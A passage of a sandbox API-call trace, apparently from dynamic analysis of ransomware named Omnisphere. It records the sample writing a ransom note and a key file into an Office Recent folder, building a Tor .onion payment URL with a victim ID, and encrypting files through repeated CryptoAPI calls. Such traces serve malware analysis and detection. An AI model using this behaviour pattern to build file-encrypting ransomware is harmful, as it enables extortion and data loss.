lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0116.055] CloseHandle (hObject=0x3c0) returned 1 [0116.056] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.056] CloseHandle (hObject=0x288) returned 1 [0116.056] SetEndOfFile (hFile=0x28c) returned 1 [0116.056] FlushFileBuffers (hFile=0x28c) returned 1 [0116.060] CloseHandle (hObject=0x28c) returned 1 [0116.060] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\con2.LNK" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned 1 [0116.060] GetProcessHeap () returned 0x1600000 [0116.060] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16914a8 [0116.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.061] GetProcessHeap () returned 0x1600000 [0116.061] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f300 [0116.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f300, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0116.061] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0116.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0116.061] GetProcessHeap () returned 0x1600000 [0116.061] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687208 [0116.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687208, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0116.061] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0116.061] GetProcessHeap () returned 0x1600000 [0116.061] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1631c48 [0116.061] PathCombineW (in: pszDest=0x1631c48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt" [0116.061] GetProcessHeap () returned 0x1600000 [0116.061] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168b7f8 [0116.061] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.062] WriteFile (in: hFile=0x28c, lpBuffer=0x168b7f8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x168b7f8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0116.072] CloseHandle (hObject=0x28c) returned 1 [0116.072] GetProcessHeap () returned 0x1600000 [0116.072] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16914a8 | out: hHeap=0x1600000) returned 1 [0116.072] GetProcessHeap () returned 0x1600000 [0116.072] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162da78 [0116.072] PathCombineW (in: pszDest=0x162da78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key" [0116.072] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.073] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0116.076] CloseHandle (hObject=0x28c) returned 1 [0116.076] GetProcessHeap () returned 0x1600000 [0116.076] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162da78 | out: hHeap=0x1600000) returned 1 [0116.076] GetProcessHeap () returned 0x1600000 [0116.076] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167bad0 | out: hHeap=0x1600000) returned 1 [0116.076] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f06972b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x9db38c07, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x9db5ee53, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x447, dwReserved0=0x0, dwReserved1=0xd4, cFileName="Database1.LNK", cAlternateFileName="DATABA~1.LNK")) returned 1 [0116.076] GetProcessHeap () returned 0x1600000 [0116.076] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x1656190 [0116.076] PathCombineW (in: pszDest=0x1656190, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="Database1.LNK" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK" [0116.076] StrStrW (lpFirst=".omnisphere", lpSrch=".LNK") returned 0x0 [0116.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\database1.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.079] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1095) returned 1 [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.079] GetTickCount () returned 0x115d05c [0116.080] GetTickCount () returned 0x115d05c [0116.080] GetTickCount () returned 0x115d05c [0116.080] GetTickCount () returned 0x115d05c [0116.080] GetTickCount () returned 0x115d05c [0116.080] GetTickCount () returned 0x115d05c [0116.080] GetTickCount () returned 0x115d05c [0116.080] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669010) returned 1 [0116.081] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0116.081] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0116.081] CryptDestroyKey (hKey=0x1639868) returned 1 [0116.081] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0116.082] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x447, lpName=0x0) returned 0x288 [0116.082] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x447) returned 0x1480000 [0116.083] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668928) returned 1 [0116.084] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0116.084] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0116.084] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0116.084] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.084] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.084] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.084] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.084] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.087] 